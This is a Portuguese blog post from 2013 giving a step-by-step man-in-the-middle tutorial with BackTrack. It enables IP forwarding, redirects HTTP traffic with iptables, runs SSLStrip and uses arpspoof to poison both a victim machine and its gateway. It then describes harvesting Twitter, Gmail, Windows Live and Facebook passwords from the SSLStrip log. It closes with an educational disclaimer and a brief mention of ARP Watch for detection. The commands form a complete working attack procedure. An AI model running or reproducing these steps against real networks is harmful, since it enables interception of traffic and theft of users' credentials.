sexta-feira, 15 de março de 2013

Man-in-the-middle com o Backtrack (ARPSpoof + SSLStrip)

Vimos no artigo anterior, como fazer o envenenamento de cache com o Cain & Abel. No presente artigo, veremos como fazer o envenenamento utilizando o Backtrack e algumas de suas ferramentas. 

Porém dessa vez, além do envenenamento, veremos como extrair informações dos  pacotes enviados pela vítima usando o SSLStrip, ferramenta desenvolvida por Moxie Morlinspike e apresentada na Black Hat DC 2009. 

 Moxie Morlinspike

A Black Hat  é um evento de segurança da informação que envolve especialistas de alto nível técnico de todas as áreas (empresas, governos, estudantes, hackers etc). Seu foco é compartilhar as novidades no mundo da segurança. Mais informações podem ser obtidas em: https://www.blackhat.com/html/about.html. Já a página pessoal de Moxie pode ser vista em http://moxie.org, inclusive com outras ferramentas desenvolvidas pelo mesmo.

Voltando ao nosso tema, vamos imaginar o seguinte cenário:

Vítima:  IP 192.168.0.150
Gateway da vítima:  IP 192.168.0.1

O programa "ARPSpoof" será executado contra a máquina da vítima e contra o gateway da rede, fazendo-o redirecionar todo o tráfego da vítima para a máquina do atacante. O resto da "mágica", será feito pelo SSLStrip.

A primeira coisa a ser feita é habilitar o roteamento no computador do atacante, permitindo que ele haja como um roteador para a vítima, repassando seus pacotes. Para isso execute o comando: echo "1" >  /proc/sys/net/ipv4/ip_forward



Agora é preciso escolher uma porta para redirecionar o tráfego de navegação captado do cliente. Nesse caso, foi escolhida a porta "8080". Para redirecionar o tráfego usaremos a tabela "NAT" e o gancho "PREROUTING" do Netfilter, com o comando: iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080


Feito o redirecionamento, vamos rodar o SSLStrip na porta escolhida. Para isso, entre no diretório /pentest/web/sslstrip e execute o sslstrip através do Python, com o comando: python sslstrip-py -a -l 8080


Agora abra mais duas janelas diferentes de terminal e em cada uma delas rode o "arpspoof", uma envenenando a máquina da vítima e outra envenenando o gateway. Para envenenar a vítima execute: arpspoof -i eth0 -t 192.168.0.150  192.168.0.1


Para envenenar o gateway execute: arpspoof -i eth0 -t 192.168.0.1  192.168.0.150


Nos exemplos acima, é importante ter cuidado para utilizar a placa de rede correta no seu sistema. Nesse exemplo estamos utilizando a eth0. Antes de testar, certifique-se de qual adaptador de rede sua máquina está utilizando. 

Uma vez executados os passos acima, um arquivo de log será gravado num arquivo chamado "sslstrip.log". Você pode acompanhá-lo em tempo real através do comando "tail -f  /pentest/web/sslstrip/sslstrip.log", ou então você pode simplesmente coletar as informações e analizar o arquivo mais tarde. Não se preocupe com a quantidade de informações que serão coletadas, é absolutamente normal. Lembre-se que todo o tráfego de rede do computador da vítima será direcionado para a sua máquina. 

Depois de ter coletado informações o suficiente, dê uma analisada no arquivo. Veja abaixo que pudemos obter a senha do Twitter do usuário:



Neste exemplo, vimos que o usuário logou no Gmail e o sslstrip também foi capaz de obter a senha:


No exemplo abaixo, a senha quando a vítima logou no Windows Live:



E finalmente no Facebook:


Ou seja, trata-se de um ataque extremamente simples e que pode comprometer seriamente um usuário, revelando a senha de alguns dos seu serviços que, teoricamente, deveriam transitar de forma segura pela rede.

Importante lembrar que as telas utilizadas no exemplo foram obtidas através de um ambiente planejado e controlado. As informações aqui contidas são para fins estritamente educacionais. Ferramentas como o ARP Watch (que veremos num artigo futuro), podem detectar atividades suspeitas nos pacotes ARP da rede.

t+

Cristiano
"It's nothing but a network layer 8 issue"  -  "There's no place like 127.0.0.1"

Nenhum comentário:

Related Posts Plugin for WordPress, Blogger...